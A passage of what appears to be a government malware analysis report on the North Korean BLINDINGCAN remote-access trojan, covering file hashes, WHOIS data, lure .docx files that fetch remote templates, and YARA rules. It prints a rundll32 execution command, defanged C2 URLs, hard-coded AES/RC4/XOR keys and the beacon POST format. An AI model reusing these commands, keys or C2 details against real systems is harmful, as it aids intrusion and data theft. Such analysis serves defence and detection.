OrgRoutingEmail: eig-net-team@endurance.com
OrgRoutingRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

OrgNOCHandle: EIGAR-ARIN
OrgNOCName: eig-arin
OrgNOCPhone: +1-781-852-3200
OrgNOCEmail: eig-net-team@endurance.com
OrgNOCRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

OrgDNSHandle: EIGAR-ARIN
OrgDNSName: eig-arin
OrgDNSPhone: +1-781-852-3200
OrgDNSEmail: eig-net-team@endurance.com
OrgDNSRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

OrgTechHandle: EIGAR-ARIN
OrgTechName: eig-arin
OrgTechPhone: +1-781-852-3200
OrgTechEmail: eig-net-team@endurance.com
OrgTechRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

Relationships

199.79.63.24
Resolved_To
agarwalpropertyconsultants.com

Description

Domain “agarwalpropertyconsultants.com” resolved to this Internet Protocol (IP) address during analysis.

158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17

Tags

downloaderloadertrojan

Details

Name
2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx

Size
521644 bytes

Type
Microsoft Word 2007+

MD5
7955fa7ab32773d17e0e94efeea69cf4

SHA1
e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a

SHA256
158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17

SHA512
aa773c54a764927c13db914169de9adde26210da8e223d54e206e9fa0b8720ded3d1fbfbbaf13d5cf40a46e1103f90889d6acb86b55515f01eec400a3de1e78d

ssdeep
12288:xnCB1YmAjh6oSdUocST5Uqpd4zRgE/CcftnPrqpd4zRgE/CcfI:tmA167dUo1FtpdSgEjlOpdSgEjA

Entropy
7.915680

Antivirus

McAfee
Trojan-FRVP!2F8066356BC3

NANOAV
Exploit.Xml.CVE-2017-0199.equmby

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

158ddb8561…
Connected_To
anca-aste.it

Description

This is a .docx file that is a zipped container of XML files in a directory structure.

Once opened in an application capable of displaying .docx files, the XML file “2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx/word/_rels/settings.xml.rels” attempts to connect to the following URL for a download:

–Begin External URL–
hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_iacm_logo.jpg
–End External URL–

The download was not available at the time of analysis.

Screenshots

Figure 2 – Screenshot of “2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx”.

7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971

Tags

downloaderloadertrojan

Details

Name
3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx

Size
521660 bytes

Type
Microsoft Word 2007+

MD5
56470e113479eacda081c2eeead153bf

SHA1
c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e

SHA256
7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971

SHA512
0111578f53189915a7f39f755087a283b60196283393d7979bc7a65f462c8af646579a57b0d4693bffdca0ceb92e2bad26720c4418b1cbb21ee2b216e7f763a5

ssdeep
12288:GaF6pLikGz2wx0zqb/RXkIUsYqpd4zRgE/CcfLqpd4zRgE/CcftKv:GaspLiewxgi/lkIUs5pdSgEj+pdSgEjG

Entropy
7.916144

Antivirus

Ahnlab
Downloader/Doc.Generic

Antiy
Trojan/Win32.Casdet

Avira
W97M/Dldr.Agent.iscqo

BitDefender
Trojan.GenericKD.33913186

ClamAV
Win.Malware.Agent-8366038-0

Comodo
Malware

Cyren
DOCX/Gamaredon.A.gen!Camelot

ESET
DOC/TrojanDownloader.Pterodo.A trojan

Emsisoft
Trojan.GenericKD.33913186 (B)

Ikarus
Trojan-Downloader.DOC.Agent

Lavasoft
Trojan.GenericKD.33913186

McAfee
Trojan-FRVP!AF83AD63D2E3

Microsoft Security Essentials
Trojan:Win32/Casdet!rfn

NANOAV
Exploit.Xml.CVE-2017-0199.equmby

NetGate
Trojan.Win32.Malware

Sophos
Troj/DocDl-ZFL

Symantec
Trojan.Gen.NPE

TrendMicro
Trojan.9A84BBAC

TrendMicro House Call
Trojan.9A84BBAC

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

7933716892…
Connected_To
anca-aste.it

Description

This is a .docx file that is a zipped container of XML files in a directory structure.

Once opened in an application capable of displaying .docx files, the XML file “3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx/word/_rels/settings.xml.rels” attempts to connect to the following URL for a download:

–Begin External URL–
hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg
–End External URL–

The download was not available at the time of analysis.

Screenshots

Figure 3 – Screenshot of “3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx”.

6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1

Tags

downloaderdropperloadertrojan

Details

Name
4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx

Size
184848 bytes

Type
Microsoft Word 2007+

MD5
e7aa0237fc3db67a96ebd877806a2c88

SHA1
0ecc687d741c7b009c648ef0de0a5d47213f37ff

SHA256
6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1

SHA512
771f7e5f68a48e38361f7b1b3c8cc5181a456582515d9b694f98cacd7c33e06dfb994d082c3d009b432fb9f9ecd1f3b194e92b998c203e4e4fa7b93bf6711820

ssdeep
3072:3wlGjFU9aU5M3Dr+YLLUb6WaTllr+YLLUb6WaTlmv13fK8RZOphN:3wl9aUOfJnUjaTltJnUjaTlmv1y8RyN

Entropy
6.246580

Antivirus

Ahnlab
Downloader/MSOffice.Generic

Antiy
Trojan[Exploit]/MSOffice.CVE-2017-0199

Avira
W97M/Dldr.Agent.axzdz

ClamAV
Win.Malware.Agent-8366007-0

ESET
DOC/TrojanDownloader.Agent.BHQ trojan

Ikarus
Trojan-Downloader.DOC.Agent

McAfee
Trojan-FRVP!63178C414AF9

Microsoft Security Essentials
Exploit:O97M/CVE-2017-0199!MTB

NANOAV
Exploit.Xml.CVE-2017-0199.equmby

NetGate
Trojan.Win32.Malware

Sophos
Troj/DocDl-YVZ

Symantec
Trojan.Mdropper

TrendMicro
TROJ_FR.9B7AA4A0

TrendMicro House Call
TROJ_FR.9B7AA4A0

YARA Rules

No matches found.

ssdeep Matches

97
586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

Relationships

6a3446b8a4…
Connected_To
anca-aste.it

Description

This is a .docx file that is a zipped container of XML files in a directory structure.

Once opened in an application capable of displaying .docx files, one of its XML files (4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx/word/_rels/settings.xml.rels) connects to the following URL for a download.

–Begin External URL–
hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_jd_t034519.jpg
–End External URL–

The download was not available at the time of analysis.

Screenshots

Figure 4 – Screenshot of “4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx”.

anca-aste.it

Tags

command-and-control

URLs

hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_iacm_logo.jpg
hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_jd_t034519.jpg
hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg

Ports

443 TCP

Whois

Domain: anca-aste.it
Status: ok
Signed: no
Created: 2006-03-02 00:00:00
Last Update: 2019-07-22 01:05:20
Expire Date: 2020-07-06

Registrant
Created: 2017-07-05 14:28:22
Last Update: 2017-07-05 14:28:22

Admin Contact
Name: Gabriele Crepaldi
Organization: Gabriele Crepaldi
Address: Via Della Spiga 52, Milano, 20121, MI, IT
Created: 2017-07-05 14:28:22
Last Update: 2017-07-05 14:28:22

Technical Contacts
Name: hidden
Organization: hidden

Registrar
Organization: CWNET srl
Name: CWNET-REG
Web: http://www.cwnet.it
DNSSEC: no

Nameservers
ns.thetiscloud1.it
ns.thetiscloud2.it

Relationships

anca-aste.it
Resolved_To
51.68.152.96

anca-aste.it
Connected_From
6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1

anca-aste.it
Connected_From
158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17

anca-aste.it
Connected_From
7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971

Description

Files “2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx”,
“3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx” and
“4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx” attempt to connect to this domain.

51.68.152.96

Whois

Queried whois.ripe.net with “-B 51.68.152.96″…

% Information related to ‘51.68.152.0 – 51.68.155.255’

% Abuse contact for ‘51.68.152.0 – 51.68.155.255’ is ‘abuse@ovh.net’

inetnum:        51.68.152.0 – 51.68.155.255
netname:        SD-1G-WAW1-W13B
country:        PL
org:            ORG-OS23-RIPE
admin-c:        OTC12-RIPE
tech-c:         OTC12-RIPE
status:         LEGACY
mnt-by:         OVH-MNT
created:        2018-07-27T14:04:34Z
last-modified: 2018-07-31T15:24:23Z
source:         RIPE
geoloc:         52.225524 21.049737

organisation: ORG-OS23-RIPE
org-name:     OVH Sp. z o. o.
org-type:     OTHER
address:        ul. Swobodna 1
address:        50-088 Wroclaw
address:        Poland
e-mail:         noc@ovh.net
admin-c:        OTC2-RIPE
mnt-ref:        OVH-MNT
mnt-by:         OVH-MNT
created:        2005-09-02T12:40:01Z
last-modified: 2019-08-08T07:47:57Z
source:         RIPE

role:         OVH PL Technical Contact
address:        OVH Sp. z o. o.
address:        ul. Swobodna 1
address:        54-088 Wroclaw
address:        Poland
e-mail:         noc@ovh.net
admin-c:        OK217-RIPE
tech-c:         GM84-RIPE
nic-hdl:        OTC12-RIPE
abuse-mailbox: abuse@ovh.net
notify:         noc@ovh.net
mnt-by:         OVH-MNT
created:        2009-09-16T16:09:56Z
last-modified: 2019-08-08T07:50:01Z
source:         RIPE

% Information related to ‘51.68.0.0/16AS16276’

route:         51.68.0.0/16
origin:         AS16276
mnt-by:         OVH-MNT
created:        2018-03-07T09:22:39Z
last-modified: 2018-03-07T09:22:39Z
source:         RIPE

% This query was served by the RIPE Database Query Service version 1.97.2 (HEREFORD)

Relationships

51.68.152.96
Resolved_To
anca-aste.it

Description

Domain “anca-aste.it” resolved to this IP during analysis.

d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

Tags

droppertrojan

Details

Name
D40AD4CD39350D718E189ADF45703EB3A3935A7CF8062C20C663BC14D28F78C9

Size
724480 bytes

Type
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

MD5
18cfd7e01da5d30a27a885164d5a7b9b

SHA1
40c5103cd9681a2830667957f3e3d037fd25b6c9

SHA256
d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

SHA512
6724ed963fa7ffd1cb3b76a72890b385bcd080a66428f18531f1432a973896d98e9405bd02952ae81b4a6d6294a73cde5911e9998e4f9dae53a2a385ab78e036

ssdeep
12288:u4VYMsRKftZAli/I9j2OShndRYMaU4vdXScW2EmBYWK323b1zvpjUSqon01y:jwKbA9XSJ4i4vdEGYfahBjk5

Entropy
7.960508

Antivirus

BitDefender
Gen:Trojan.Heur.Su4@!RdqOMbi

Emsisoft
Gen:Trojan.Heur.Su4@!RdqOMbi (B)

Lavasoft
Gen:Trojan.Heur.Su4@!RdqOMbi

Symantec
Heur.AdvML.B

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2020-05-20 02:03:53-04:00

Import Hash
513e6f9be441b608d02560144adad488

PE Sections

MD5
Name
Raw Size
Entropy

6dead31f52ae9c89182635c7bc5363ff
header
1024
2.447679

4eb9a889d49c201486c6a9844c0a3861
.text
28160
6.512256

2564f80bde6880569bc81d572ffd85c6
.rdata
9216
4.772079

4f06d9f35e1f31817d4205f0cda45316
.data
680448
7.992807

aedd1ea7e39bc6c20eb7c1a31ee31945
.rsrc
512
5.114293

4de4bb5980c9ffde6d9809bca8589667
.reloc
5120
3.162603

Packers/Compilers/Cryptors

Microsoft Visual C++ DLL *sign by CodeRipper

Relationships

d40ad4cd39…
Dropped
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

Description

This application is a 32-bit DLL. Upon execution, it decodes an embedded Ultimate Packer for Executables (UPX) packed DLL using a hard-coded XOR key: “0x59”. The decoded DLL is installed and executed from “C:ProgramDataiconcache.db” (b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9) with the following command:

–Begin Command–
“C:WindowsSystem32rundll32.exe C:ProgramDataiconcache.db,SMain S-6-12-2371-68143633-837395-7851″
–End Command–

b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

Tags

obfuscatedremote-access-trojan

Details

Name
iconcache.db

Size
676864 bytes

Type
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed

MD5
c627db421adaaa320d3ac42396c89f8a

SHA1
dcf95cd96203e794724fc14e454e63fba9afe82a

SHA256
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

SHA512
bcc0a6688b5a282802700382d72e11663015946a95c701df82fdab164b6ef6889e180617a284e604e931ffc046ec1fd20ac6e20357ec916bada7df4711800290

ssdeep
12288:UloPYtyI4lSa/gwZyVJKlI/mjGENKw4tv1ALs7wboS:eoQp4lSWgwZy6lUkh4N2Ls7w

Entropy
7.994989

Path
C:ProgramDataiconcache.db

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2019-10-30 22:22:32-04:00

Import Hash
bddf350b1495019b036eb25682895735

Company Name
TODO: <Company name>

File Description
TODO: <File description>

Internal Name
MFC_DLL.dll

Legal Copyright
TODO: (c) <Company name>. All rights reserved.

Original Filename
MFC_DLL.dll

Product Name
TODO: <Product name>

Product Version
1.0.0.1

PE Sections

MD5
Name
Raw Size
Entropy

ee27480742e19dfbbedf334ca52aafa5
header
1024
2.713911

d41d8cd98f00b204e9800998ecf8427e
UPX0
0
0.000000

f13bc7e5f532956e1c5490d27d9b9eb0
UPX1
670720
7.999480

80eb6e1fc17919b7444d34b73621166f
.rsrc
5120
3.981460

Packers/Compilers/Cryptors

ACProtect 1.3x – 1.4x DLL -> Risco Software Inc.

Relationships

b70e66d387…
Connected_To
curiofirenze.com

b70e66d387…
Connected_To
automercado.co.cr

b70e66d387…
Dropped_By
d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

b70e66d387…
Contains
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

b70e66d387…
Contains
7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

Description

This application is a 32-bit UPX packed DLL installed by d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 into the C:ProgramDataiconcache.db” directory. During execution, it uses the Advanced Encryption Standard (AES) cipher to decrypt and then decompress two embedded DLL binaries “bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1” and “7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd” in memory. These binaries are loaded and executed in memory during runtime.

bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

Tags

backdoorremote-access-trojantrojan

Details

Name
e7718609577c6e34221b03de7e959a8c

Size
163840 bytes

Type
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

MD5
e7718609577c6e34221b03de7e959a8c

SHA1
97d24ac0d773f6260ab512fa496099b3289210db

SHA256
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

SHA512
95aab6ef454c364b63002df7949c33602964d0905b4a23511bd9462aa5037c71a933f8bf3a3d650be76926e92bcf39e362a047c2da3da727096d16c1187e0308

ssdeep
1536:/XhDZIPNWfFTIL1uWPgNquuGCoGSfYz57wmF87GbSaW1nqBQlBS4AF3TIhrim:/xwWmBLPgNZeTSfE5UmfQqT3TIhW

Entropy
5.585632

Antivirus

Ahnlab
Backdoor/Win32.Akdoor

ESET
a variant of Win32/NukeSped.GT trojan

Symantec
Heur.AdvML.B

YARA Rules

rule CISA_10135536_06 : trojan rat HIDDENCOBRA BLINDINGCAN
{
   meta:
       Author = “CISA Code & Media Analysis”
       Incident = “10135536”
       Date = “2018-05-04”
       Actor = “HiddenCobra”
       Category = “Trojan RAT”
       Family = “BLINDINGCAN”
       Description = “Detects 32bit HiddenCobra BLINDINGCAN Trojan RAT”
       MD5_1 = “f9e6c35dbb62101498ec755152a8a67b”
       SHA256_1 = “1ee75106a9113b116c54e7a5954950065b809e0bb4dd0a91dc76f778508c7954”
       MD5_2 = “d742ba8cf5b24affdf77bc6869da0dc5”
       SHA256_2 = “7dce6f30e974ed97a3ed024d4c62350f9396310603e185a753b63a1f9a2d5799”
       MD5_3 = “aefcd8e98a231bccbc9b2c6d578fc8f3”
       SHA256_3 = “96721e13bae587c75618566111675dec2d61f9f5d16e173e69bb42ad7cb2dd8a”
       MD5_4 = “3a6b48871abbf2a1ce4c89b08bc0b7d8”
       SHA256_4 = “f71d67659baf0569143874d5d1c5a4d655c7d296b2e86be1b8f931c2335c0cd3”
   strings:
       $s0 = { C7 45 EC 0D 06 09 2A C7 45 F0 86 48 86 F7 C7 45 F4 0D 01 01 01 C7 45 F8 05 00 03 82 }
       $s1 = { 50 4D 53 2A 2E 74 6D 70 }
       $s2 = { 79 67 60 3C 77 F9 BA 77 7A 56 1B 68 51 26 11 96 B7 98 71 39 82 B0 81 78 }
   condition:
       any of them
}
rule CISA_10295134_01 : rat trojan HIDDENCOBRA BLINDINGCAN
{
   meta:
       Author = “CISA Code & Media Analysis”
       Incident = “10295134”
       Date = “2020-07-28”
       Last_Modified = “20200730_1030”
       Actor = “HiddenCobra”
       Category = “Trojan RAT”
       Family = “BLINDINGCAN”
       Description = “Detects 32 and 64bit HiddenCobra BlindingCan Trojan RAT”
       MD5_1 = “e7718609577c6e34221b03de7e959a8c”
       SHA256_1 = “bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1”
       MD5_2 = “6c2d15114ebdd910a336b6b147512a74”
       SHA256_2 = “58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d”
   strings:
       $s0 = { C7 44 24 20 0D 06 09 2A C7 44 24 24 86 48 86 F7 C7 44 24 28 0D 01 01 01 C7 44 24 2C 05 00 03 82 }
       $s1 = { C7 45 EC 0D 06 09 2A C7 45 F0 86 48 86 F7 C7 45 F4 0D 01 01 01 C7 45 F8 05 00 03 82 }
   condition:
       $s0 or $s1
}

ssdeep Matches

93
5665fa000b3cd52ceae755d35ca698e50cfb9c952cfdc70610b3a262e87be210

PE Metadata

Compile Date
2020-05-19 03:26:30-04:00

Import Hash
920679e3a916eba5c0309f6381f49d76

PE Sections

MD5
Name
Raw Size
Entropy

3c4d32746197a23e043dec30c3f17502
header
1024
2.462178

c7b7bc3bf34654bd45c303561f9359e1
.text
81920
6.658611

a0605f0296280e16d350cf78eb70a0d3
.rdata
25088
6.630270

88750685639a22c3e4bcb15f40390ff9
.data
12800
3.648302

51741feb8529e34f47173f59abe8b19b
.rsrc
512
5.105616

b87183316e04b075a0da8e286b297fdb
.reloc
7680
5.057386

Packers/Compilers/Cryptors

Microsoft Visual C++ DLL *sign by CodeRipper

Relationships

bdfd16dc53…
Contained_Within
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

bdfd16dc53…
Connected_To
curiofirenze.com

bdfd16dc53…
Connected_To
automercado.co.cr

Description

This application is a malicious 32-bit DLL unpacked and executed by “b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9”. This binary has been identified as a variant of a Hidden Cobra RAT. This file contains embedded configuration data (2704 bytes). The data is decrypted using a hard-coded AES decryption key “XEUFC1L3DF3C2ROU” before being decoded using an XOR cipher. Displayed below is the content of the decoded data:

–Begin configuration data–
hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp
hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp
hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp
hxxps[:]//www[.]curiofirenze.com/include/inc-site.asp
hxxps[:]//www[.]curiofirenze.com/include/inc-site.asp
c:windowssystem32cmd.exe
%temp%
–End configuration data–

The malware decrypts its strings using a hard-coded RC4 key: “0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82”. Displayed below are sample decrypted strings observed during analysis:

–Begin decrypted strings–
“HardwareDescriptionSystemCentralProcessor”
“ProcessorNameString”
“boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx_num, act, bbs_id, bbs_form, bidbbscate, menutcode, b_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board_seq, bc_idx, seqArticleIDB_Notice, nowPage, webid, boardDiv, sub_idx”
“\tsclient”
–End decrypted strings–

It collects the following information about the victim’s system and beacons the collected data to the C2 “curiofirenze.com” and
“automercado.co.cr”:

–Begin system information–
Operating system (OS) version information
Processor information
System name
Local IP address information
Media access control (MAC) address.
–End system information–

It attempts to retrieve the User-Agent string from the victim’s system. If not available, it uses the following embedded User-Agent string:

–Begin User-Agent String–
“Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36″ .
–End User-Agent String–

It will generate HTTP POST requests with the following format:

–Begin HTTP POST format–
POST /<uri> HTTP/1.1
Connection: Keep-Alive
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: <obtained from ObtainUserAgentString otherwise: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 >
Host: <domain>
Content-Length: <length>

id=<nine random character generated RC4 key><three_random_param_selected>&<second parameter>=<sessionID>&<third parameter >=<hard-coded_String>&<fourth parameter>=<datagram>
–End HTTP POST format–

The HTTP POST body contains four parameters of Base64 encoded data as displayed below:

–Begin four parameters–
Four parameters: id=<nine random character generated RC4 key><three_random_param_selected>&<second parameter>=<sessionID>&<third parameter >=<hard-coded_String>&<fourth parameter>=<datagram>

Sample: id=Z2ptZmx0b250JpzkM7R+AAxesq7t1Eo4Dg==&page=bsyybw==&bbsNo=AszBYcolV00l69W9ihtkLg==&bname=”
–End four parameters–

The first parameter tag, ‘id=’, will consist of two separate Base64 encoded parts. The first part consists of a Base64 encoded nine random generated lower case character RC4 key used for encryption. The second part of the ‘id=’ parameter tag will contain three parameters randomly selected from a list of the below strings. These three randomly selected name tags are colon delimited and stored in the following format:”first name tag:second name tag:third name tag”. This data is encrypted using the nine random character generated RC4 key and Base64 encoded.

–Begin randomly selected string tags–
“boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx_num, act, bbs_id, bbs_form, bidbbscate, menutcode, b_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board_seq, bc_idx, seqArticleIDB_Notice, nowPage, webid, boardDiv, sub_idx”
–End randomly selected string tags–

The second parameter tag ‘page=’ is a randomly selected name from the list of the above string tags which contains the “session id” data. This data is encrypted using the same generated RC4 key before Base64 encoded.

The third parameter tag ‘bbsNo=’ is a randomly selected name from a list of the above string tags which contains a hard-coded string data “T1B7D95256A2001E” in the malware. This data is encrypted using the RC4 key and then the data is Base64 encoded. Analysis indicates that when encrypting data from the first three parameters, the encryption starts “0xC00 bytes” into the RC4 key stream.

The fourth parameter tag ‘bname=’ is a randomly selected name from the list of the above string tags which contains the datagram to be sent. The datagram is encrypted with a combination of RC4 and differential XOR. The RC4 key used is “0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82”.

It contains the following built-in functions for remote operations that provide various capabilities on a victim’s system:

–Begin built-in functions–
Retrieve information about all installed disks, including the disk type and the amount of free space on the disk
Create, start, and terminate a new process and its primary thread
Search, read, write, move, and execute files
Get and modify file or directory timestamps
Change the current directory for a process or file
Delete malware and artifacts associated with the malware from the infected system
–End built-in functions–

7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

Tags

HIDDEN-COBRA

Details

Name
7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

Size
163840 bytes

Type
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

MD5
6f329c32f228d9a4d856afd4794c7f2b

SHA1
4be9aecc0fc76c037420ece97645c6a32294a230

SHA256
7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

SHA512
f4aff0e36fb98d64ff207a983ca7ed10c11ad7b01953b545c655a3349016f9d6c5fbd3cc8d44851cb68c51f069da2469b1e3445cd60b6e1365375402ad671160

ssdeep
384:vNV+PKlwRYnd2dPugCkPV59FYRz8xM6hwXlbfR+1nu6EDH+zj+1XoNC3vyFAt1:vNIKip92x8rhOdmnTEDwu3vy

Entropy
1.605796

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2019-10-30 22:21:48-04:00

Import Hash
75588d29242e426f361ddcf8c53954f5

PE Sections

MD5
Name
Raw Size
Entropy

0452202027da519acb3a7d074696de07
header
1024
2.351340

ae1c3feb6a3beda4db0ce8c794af77e7
.text
17920
6.473020

c139714dd00b81eb08ecaf32bdced254
.rdata
8192
4.655148

0685a556cdaa359c306b3c7830fc6f1e
.data
3072
2.403876

a2b361aa5b6f2d5912845d84ca96a368
.rsrc
512
5.105029

d2e652e58f57bd6314d5ebf8f59687e9
.reloc
2048
5.497034

Packers/Compilers/Cryptors

Microsoft Visual C++ DLL *sign by CodeRipper

Relationships

7d507281e2…
Contained_Within
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

Description

This application is a 32-bit DLL unpacked and executed by “b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9”. This file is designed to unmap the DLL “C:ProgramDataiconcache.db” loaded in the process.

0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6

Tags

downloaderdropper

Details

Name
0FC12E03EE93D19003B2DD7117A66A3DA03BD6177AC6EB396ED52A40BE913DB6

Size
900096 bytes

Type
PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5
b1dd2c73b3c13a147828f7bb4389d241

SHA1
5275449d25a64e7415c1c1e727a0af76b08c2811

SHA256
0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6

SHA512
054b8c4345e97aa4719415971cb5df83f208a2c11302baba66392251a5d7d8251e564443fd4716d82cacf2a5da94250cc8defd9300e0885034c471a07cdc5510

ssdeep
12288:sXcnHdDS0zaEw2W912s3xN+JgHGJNfKAyhnB8EoarWY9ZtvaBmBJnLoAFMx8wIWF:sMH9S8avT2Ex5mJNfbyYBaaY9Ly8qK

Entropy
7.961146

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2020-05-20 02:03:51-04:00

Import Hash
65793cf7eaeca085293db7251eb4469a

PE Sections

MD5
Name
Raw Size
Entropy

a1c37a2c9fedecabe570383d81bfb5d6
header
1024
2.524544

61e11f8acaaf9d065546a237ced1e964
.text
31744
6.348358

9f1fe9ee707daa61e91ad94d618b066f
.rdata
11264
4.687720

300ac7ec543fda0fab22c110a7d26281
.data
850432
7.993358

da2a58c7e17c14ced8b67bc462ad7427
.pdata
2048
4.219318

531f04a4abeb58f9e10fffc6afe98250
.rsrc
512
5.110827

58c4168b836758e380e64f12eca00760
.reloc
3072
1.006647

Relationships

0fc12e03ee…
Dropped
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

Description

This application is a 64-bit DLL. Upon execution, it decodes an embedded 64-bit UPX packed DLL using a hard-coded XOR key: “0x59”. The decoded DLL is installed and executed from “C:ProgramDataiconcache.db” (d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5) with the following command:

–Begin Command–
“C:WindowsSystem32rundll32.exe C:ProgramDataiconcache.db,SMain S-7-43-8423-97048307-383378-8483”
–End Command–

d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

Tags

obfuscatedremote-access-trojan

Details

Name
iconcache.db

Size
845312 bytes

Type
PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5
c2c5751cdfdbe9fac44337d4cb6e74e4

SHA1
02678efe715ff2658c6a4c2b596046b744a8b222

SHA256
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

SHA512
dddd82c21ee815a570689c8023f51267a2699346eadb8cf5cb6a2bfc4e0404ab8388608e934c03b8b69819bab1b5252ed8b29391f543a1c1e8aeb83360e5f4d2

ssdeep
